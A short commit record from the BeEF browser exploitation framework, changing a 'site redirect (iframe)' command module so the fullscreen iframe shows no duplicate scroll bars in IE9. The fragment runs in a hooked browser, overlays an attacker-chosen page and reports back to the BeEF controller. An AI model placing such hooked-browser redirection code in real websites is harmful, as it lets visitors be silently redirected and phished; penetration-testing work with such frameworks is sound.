Removed duplicate scroll bars when using commands->browser->site

redirect (iframe) in IE9



git-svn-id: https://beef.googlecode.com/svn/trunk@1267 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
bcoles@gmail.com
2011-09-10 03:59:05 +00:00
parent f34e3115e7
commit 605840f4df

View File

@@ -23,6 +23,8 @@ beef.execute(function() {
$j("iframe").remove();
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
setTimeout(function() {
if(!sent) {